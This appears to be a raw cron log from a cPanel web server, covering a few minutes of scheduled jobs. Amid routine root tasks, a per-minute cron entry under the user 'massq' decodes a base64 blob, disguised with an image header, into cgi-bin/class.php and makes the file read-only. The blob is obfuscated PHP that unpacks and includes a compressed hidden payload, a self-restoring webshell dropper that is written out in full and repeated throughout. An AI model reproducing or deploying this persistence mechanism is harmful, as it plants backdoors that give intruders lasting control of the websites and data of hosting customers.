Sep 12 14:54:01 server CROND[28565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:55:01 server CROND[28942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:55:01 server CROND[28943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:55:01 server CROND[28945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:55:01 server CROND[28948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:55:01 server CROND[28946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:55:01 server CROND[28944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:55:01 server CROND[28947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:56:01 server CROND[29760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:56:01 server CROND[29761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:56:01 server CROND[29762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:57:01 server CROND[30139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:57:01 server CROND[30140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:57:01 server CROND[30141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:57:01 server CROND[30142]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 14:58:01 server CROND[30617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:58:01 server CROND[30618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:58:01 server CROND[30619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:59:01 server CROND[30989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:59:01 server CROND[30990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:59:01 server CROND[30991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:00:01 server CROND[31366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:00:01 server CROND[31369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:00:01 server CROND[31370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:00:01 server CROND[31371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:00:01 server CROND[31373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:00:01 server CROND[31377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:00:01 server CROND[31375]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:00:01 server CROND[31372]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 15:00:01 server CROND[31376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:01:01 server CROND[32205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:01:01 server CROND[32208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:01:01 server CROND[32209]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 15:01:01 server CROND[32207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:01:01 server run-parts(/etc/cron.hourly)[32209]: starting 0anacron
Sep 12 15:01:01 server run-parts(/etc/cron.hourly)[32229]: finished 0anacron
Sep 12 15:02:01 server CROND[32593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:02:01 server CROND[32594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:02:01 server CROND[32592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:03:01 server CROND[680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:03:01 server CROND[681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:03:01 server CROND[682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:04:01 server CROND[1128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:04:01 server CROND[1130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:04:01 server CROND[1132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:05:01 server CROND[1622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:05:01 server CROND[1624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:05:01 server CROND[1630]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:05:01 server CROND[1631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:05:01 server CROND[1634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:05:01 server CROND[1632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
